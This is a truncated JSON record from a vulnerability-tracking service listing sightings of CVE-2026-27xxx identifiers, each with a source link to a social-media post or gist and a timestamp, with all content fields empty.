{"vulnerability": "2026-27", "sightings": [{"uuid": "3bbe8892-1208-41e1-b7c6-61280c4c72e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2754", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghoetiktz2s", "content": "", "creation_timestamp": "2026-03-07T11:00:58.992741Z"}, {"uuid": "be4a2804-3013-48ee-8511-a321090f08ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvybqlt6q2u", "content": "", "creation_timestamp": "2026-02-28T10:10:17.423867Z"}, {"uuid": "49a7265b-d89b-4077-87ac-222b7ca2ca95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27969", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvybxrojd2k", "content": "", "creation_timestamp": "2026-02-28T10:10:24.980829Z"}, {"uuid": "15d74722-f1b3-4c0b-b35f-7c330d6d6aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27028", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfspc6fb232k", "content": "", "creation_timestamp": "2026-02-27T02:51:28.652005Z"}, {"uuid": "b54af1cc-2fe2-4281-87e1-3d01e70604cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27942", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvyc6uywl2k", "content": "", "creation_timestamp": "2026-02-28T10:10:32.158901Z"}, {"uuid": "30e39d33-91f3-4182-92b9-d2363a50c0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27156", "type": "seen", "source": "https://gist.github.com/alon710/2374cc8dbd605d3c0e5e8ece442a11db", "content": "", "creation_timestamp": "2026-02-25T01:08:04.000000Z"}, {"uuid": "ddc28b95-a016-4ec6-82b0-d0672ede8dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27888", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvyddhnyy2u", "content": "", "creation_timestamp": "2026-02-28T10:11:10.661079Z"}, {"uuid": "b601d9fc-2d37-4b96-b666-ca2280005f5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27586", "type": "seen", "source": "https://gist.github.com/alon710/177bc56435a712bb75c34d81b34d8075", "content": "", "creation_timestamp": "2026-02-25T01:08:03.000000Z"}, {"uuid": "251bf764-9b2b-47dc-ac08-df0f6c68e213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfspoue6r42e", "content": "", "creation_timestamp": "2026-02-27T02:58:34.105019Z"}, {"uuid": "68d101af-9aa8-4ad7-895d-46afdb85dfff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27633", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvydkhxm32k", "content": "", "creation_timestamp": "2026-02-28T10:11:17.876557Z"}, {"uuid": "bf46a6b8-9b66-44e7-b77f-f963e11cf65c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgawe6lj242i", "content": "", "creation_timestamp": "2026-03-04T18:35:09.588580Z"}, {"uuid": "761c3165-9433-41a0-81c7-b3d40f628191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27610", "type": "seen", "source": "https://gist.github.com/alon710/1b38be1c4bfe28706dfdf76e6aecf149", "content": "", "creation_timestamp": "2026-02-25T19:10:19.000000Z"}, {"uuid": "cc159135-430c-4c4a-a667-36025eb37028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27630", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvydrlsv22c", "content": "", "creation_timestamp": "2026-02-28T10:11:25.451714Z"}, {"uuid": "1df16e23-e389-4843-b47a-06c245e823a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27590", "type": "seen", "source": "https://gist.github.com/alon710/b23e84fd74b0099ad7b9c6587db73222", "content": "", "creation_timestamp": "2026-02-25T01:08:02.000000Z"}, {"uuid": "84d4423f-9e58-496f-b135-f3ef1f74b7ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2754", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghpcqffde2h", "content": "", "creation_timestamp": "2026-03-07T11:17:42.387668Z"}, {"uuid": "1003323e-2eeb-4ab4-b8a8-4a25f6b972c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27948", "type": "seen", "source": "https://gist.github.com/alon710/5a2e5affef6dd7e5863b811b8e50c918", "content": "", "creation_timestamp": "2026-02-27T03:10:18.000000Z"}, {"uuid": "d7dde988-f28a-4bb3-8d80-484440164134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27631", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg4h3g2gcr2y", "content": "", "creation_timestamp": "2026-03-02T23:51:08.937545Z"}, {"uuid": "9d5b19f9-0ad9-4e98-8227-40ce4c296930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27971", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116169023690720268", "content": "", "creation_timestamp": "2026-03-04T04:30:28.810868Z"}, {"uuid": "67c36472-47ad-4650-8afa-85eb95500a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27593", "type": "seen", "source": "https://gist.github.com/alon710/12958c247a7b9f50af1a0648fa1cd2df", "content": "", "creation_timestamp": "2026-02-25T01:07:58.000000Z"}, {"uuid": "4b648daa-6f8f-4f0c-9d6d-43c030f59e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27572", "type": "seen", "source": "https://gist.github.com/alon710/bd9bec3189f368306143b31543aba768", "content": "", "creation_timestamp": "2026-02-25T01:07:57.000000Z"}, {"uuid": "e1bb089e-f173-4743-b547-0b497af4df36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27971", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mg7h5uexty2h", "content": "", "creation_timestamp": "2026-03-04T04:30:30.905791Z"}, {"uuid": "86a4357c-3a31-4d59-a6d5-0bab7d8a972e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27487", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfefkia5mg2c", "content": "", "creation_timestamp": "2026-02-21T10:19:54.255197Z"}, {"uuid": "2a600e0b-5683-4218-a382-34ec11bbdd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27596", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg4herunk32n", "content": "", "creation_timestamp": "2026-03-02T23:56:23.482269Z"}, {"uuid": "0cd7bb13-4cc9-4379-9efd-0d21a969fa3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27212", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116108153991958866", "content": "", "creation_timestamp": "2026-02-21T10:30:31.027792Z"}, {"uuid": "bb98a6d9-676f-48e1-8767-6f8e822b1270", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27204", "type": "seen", "source": "https://gist.github.com/alon710/4e9c4bed9ad14feae28c1474018f41b3", "content": "", "creation_timestamp": "2026-02-25T01:07:51.000000Z"}, {"uuid": "1cf8bbbc-7a5f-49c6-8cff-a85b35bcbec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27212", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfeg5jh3db2n", "content": "", "creation_timestamp": "2026-02-21T10:30:32.658835Z"}, {"uuid": "d631fd8c-47c0-4f12-a779-d8383aa725ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27647", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg4hlp6oan24", "content": "", "creation_timestamp": "2026-03-03T00:00:15.482742Z"}, {"uuid": "c7b6f00f-30f0-4e60-8dc6-55b0188308c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27180", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf5zmgksbs2n", "content": "", "creation_timestamp": "2026-02-18T21:30:16.158854Z"}, {"uuid": "0e3212f0-2f04-4e91-9894-707225a14b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27126", "type": "seen", "source": "https://gist.github.com/alon710/fc4d8867e34aa7777c11ab15e3f28950", "content": "", "creation_timestamp": "2026-02-25T01:08:24.000000Z"}, {"uuid": "1a2b4759-539d-422c-9310-bfafaf167faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27180", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116093761184172626", "content": "", "creation_timestamp": "2026-02-18T21:30:18.199590Z"}, {"uuid": "da526be2-c529-48f4-877c-4e081188e7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27492", "type": "seen", "source": "https://gist.github.com/alon710/3b1f29c1f136603b6c00eebdb5313d9b", "content": "", "creation_timestamp": "2026-02-21T10:40:39.000000Z"}, {"uuid": "595790ce-8f0b-4045-9c36-b92c53a28904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27128", "type": "seen", "source": "https://gist.github.com/alon710/8e3d60e2310dc13fae41246bc5dac4c9", "content": "", "creation_timestamp": "2026-02-25T01:08:23.000000Z"}, {"uuid": "e62b7b89-5ed3-4a1c-a00e-d3c5199f710b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27942", "type": "seen", "source": "https://gist.github.com/alon710/a27d67a44ac5804fb1959c01e9c562d6", "content": "", "creation_timestamp": "2026-02-27T03:40:19.000000Z"}, {"uuid": "51b6acb1-5810-471e-8eff-91bf350582d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mghrq3ta2n2m", "content": "", "creation_timestamp": "2026-03-07T12:00:58.105478Z"}, {"uuid": "8be848bc-8ba6-4b57-9256-47741e14206d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27637", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfu2ap3bvu2q", "content": "", "creation_timestamp": "2026-02-27T15:40:10.060401Z"}, {"uuid": "b685b4e1-fa5f-4cb3-ac6d-956232073397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27488", "type": "seen", "source": "https://gist.github.com/alon710/8020ebfa325f2d0cb09d65e8bdeb4cc0", "content": "", "creation_timestamp": "2026-02-21T11:10:39.000000Z"}, {"uuid": "8ed41a4b-feba-4e60-b113-8a994dd1e7fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27012", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116169377651550573", "content": "", "creation_timestamp": "2026-03-04T06:00:30.014435Z"}, {"uuid": "ddf1b15b-3d56-4324-97d0-6c263155bcd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27147", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mfeihv6z352n", "content": "", "creation_timestamp": "2026-02-21T11:12:07.593874Z"}, {"uuid": "d3a0ce4e-6d29-43ab-bdf9-5c389648cff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27748", "type": "seen", "source": "https://infosec.exchange/users/quarkslab/statuses/116165982849269143", "content": "", "creation_timestamp": "2026-03-03T15:37:09.583290Z"}, {"uuid": "d7162d08-110e-4b42-9155-fb4040a3438c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27012", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mg7m6t2lu72h", "content": "", "creation_timestamp": "2026-03-04T06:00:32.197666Z"}, {"uuid": "ead38000-bbe5-4fb7-96e8-531240b2d6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27750", "type": "seen", "source": "https://infosec.exchange/users/quarkslab/statuses/116165982849269143", "content": "", "creation_timestamp": "2026-03-03T15:37:09.692038Z"}, {"uuid": "3e895816-101f-4687-9171-0ec68aeaf395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mgglfqa3n22y", "content": "", "creation_timestamp": "2026-03-07T00:35:08.252411Z"}, {"uuid": "a8c5a0df-c387-469d-9ff5-e3cadb429113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27574", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfeitrcwjf2s", "content": "", "creation_timestamp": "2026-02-21T11:18:46.823436Z"}, {"uuid": "1ad16b7f-f989-475c-9f1d-4adea8a65433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27749", "type": "seen", "source": "https://infosec.exchange/users/quarkslab/statuses/116165982849269143", "content": "", "creation_timestamp": "2026-03-03T15:37:09.779586Z"}, {"uuid": "e48c13a4-b756-49e9-afab-80c0f7ecf644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mghrq5bsrr2w", "content": "", "creation_timestamp": "2026-03-07T12:00:59.405163Z"}, {"uuid": "2ec7c79a-1aea-4454-ac99-b1450d188836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27748", "type": "seen", "source": "https://bsky.app/profile/quarkslab.bsky.social/post/3mg63xocxwc2l", "content": "", "creation_timestamp": "2026-03-03T15:37:36.904114Z"}, {"uuid": "b94efb67-d33f-4277-9dd3-f1054d783f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27180", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf64cshlt32s", "content": "", "creation_timestamp": "2026-02-18T22:18:34.074805Z"}, {"uuid": "adefae3c-ef15-405b-a0e9-dcedc22d1c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://gist.github.com/alon710/bbb2b9f63be691f9cd5588ec4822d51e", "content": "", "creation_timestamp": "2026-02-27T04:00:18.000000Z"}, {"uuid": "c5f958ad-78c9-46ba-b6df-6c3ace37fd98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27181", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf64cyukjx2n", "content": "", "creation_timestamp": "2026-02-18T22:18:40.535803Z"}, {"uuid": "5e2c4e36-91f5-4712-8626-db26d0324957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27485", "type": "seen", "source": "https://gist.github.com/alon710/93d3245a84667a23e678383dbcbdb6e3", "content": "", "creation_timestamp": "2026-02-21T11:40:39.000000Z"}, {"uuid": "52a29c24-f22f-4dc7-bc27-8bcc3246ab0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27750", "type": "seen", "source": "https://bsky.app/profile/quarkslab.bsky.social/post/3mg63xocxwc2l", "content": "", "creation_timestamp": "2026-03-03T15:37:37.000587Z"}, {"uuid": "05d7f8fd-5ae7-4835-b72d-cb0984d2b14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27182", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf64f45rza25", "content": "", "creation_timestamp": "2026-02-18T22:19:51.676684Z"}, {"uuid": "63ed6502-7fb4-4ce9-87b4-ceb7543692c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27969", "type": "seen", "source": "https://gist.github.com/alon710/e1ec4d28426e93e5bbac8a63052d7481", "content": "", "creation_timestamp": "2026-02-27T16:40:11.000000Z"}, {"uuid": "8018692c-483e-495b-8019-d7a92bcbfb2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27749", "type": "seen", "source": "https://bsky.app/profile/quarkslab.bsky.social/post/3mg63xocxwc2l", "content": "", "creation_timestamp": "2026-03-03T15:37:37.105587Z"}, {"uuid": "c54d468b-697e-43dd-828d-2967fc2a463e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf64fd24o42c", "content": "", "creation_timestamp": "2026-02-18T22:19:58.354676Z"}, {"uuid": "0558f93f-46fe-44c2-a56d-8724b259d442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mggmkecko22y", "content": "", "creation_timestamp": "2026-03-07T00:55:39.293558Z"}, {"uuid": "a9963228-3cfa-4604-b3f8-46d326abb5aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mghrq6f7r52e", "content": "", "creation_timestamp": "2026-03-07T12:01:00.897612Z"}, {"uuid": "9686fbce-9ea9-46ce-ac4a-4e687759d07e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27175", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf66nevy4q2o", "content": "", "creation_timestamp": "2026-02-18T23:00:16.636270Z"}, {"uuid": "6c8213a5-ccf6-48ef-96a3-22c8258e5bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mghrqtj3ag2u", "content": "", "creation_timestamp": "2026-03-07T12:01:22.215608Z"}, {"uuid": "d323b7d0-cf42-4d46-b1dc-9806c3e8c4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27175", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116094115117047754", "content": "", "creation_timestamp": "2026-02-18T23:00:28.592762Z"}, {"uuid": "488ffc13-181a-4aad-a93d-44c6bd3c17e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27484", "type": "seen", "source": "https://gist.github.com/alon710/d6f106c34a98367bc78dbb2de8555198", "content": "", "creation_timestamp": "2026-02-21T12:10:40.000000Z"}, {"uuid": "a0697961-22f1-4ca6-bfc0-5dbd17cbd0c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27598", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnjw4ebkv2n", "content": "", "creation_timestamp": "2026-02-25T01:31:56.541913Z"}, {"uuid": "054783ac-4203-4b6e-9f1b-941b24b4682a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27652", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg4jt2ljdh2x", "content": "", "creation_timestamp": "2026-03-03T00:40:09.951656Z"}, {"uuid": "c676f829-71d7-4e28-bc92-c70608bd69ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mggnhv7zcc2y", "content": "", "creation_timestamp": "2026-03-07T01:12:07.737022Z"}, {"uuid": "bce7087d-6588-4a45-85f6-a29d9862f0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27732", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpi7if4lr2n", "content": "", "creation_timestamp": "2026-02-25T20:06:43.428320Z"}, {"uuid": "524b9cfd-16a9-4b51-acc0-e3847a7e7020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27146", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mfemcj7yg42m", "content": "", "creation_timestamp": "2026-02-21T12:20:42.350325Z"}, {"uuid": "2a2c2ba6-d900-4df4-a6ef-2f8026a38bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27901", "type": "seen", "source": "https://gist.github.com/alon710/bd389c3761f00f62851a6d5cd2e46410", "content": "", "creation_timestamp": "2026-02-27T04:10:19.000000Z"}, {"uuid": "b6aeeb27-9799-4fde-a4e3-ea15239114ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27464", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg644eexdd2a", "content": "", "creation_timestamp": "2026-03-03T15:40:09.659143Z"}, {"uuid": "f7aa3c11-bec0-4cb0-95b9-778e37485589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27932", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg7sc6wqfm2x", "content": "", "creation_timestamp": "2026-03-04T07:49:47.373822Z"}, {"uuid": "8f2fc070-333b-4f25-a9a0-11ca06e7d868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27195", "type": "seen", "source": "https://gist.github.com/alon710/447723fe5251aee242f8395c82fa3afa", "content": "", "creation_timestamp": "2026-02-25T01:40:27.000000Z"}, {"uuid": "67ca96bd-2ba7-47af-8840-e97471d70992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27732", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpibl4xpc2t", "content": "", "creation_timestamp": "2026-02-25T20:07:53.858172Z"}, {"uuid": "894f9f99-a2f1-4c8c-8958-8df6ce285651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/golang.org/post/3mge5fq5pq22k", "content": "", "creation_timestamp": "2026-03-06T01:19:17.603795Z"}, {"uuid": "fcc0b454-8a17-4aa0-a759-8e257a43a2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://bsky.app/profile/golang.org/post/3mge5fq5pq22k", "content": "", "creation_timestamp": "2026-03-06T01:19:17.762616Z"}, {"uuid": "ec6e0c20-8889-4cd1-a071-5a79215467ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 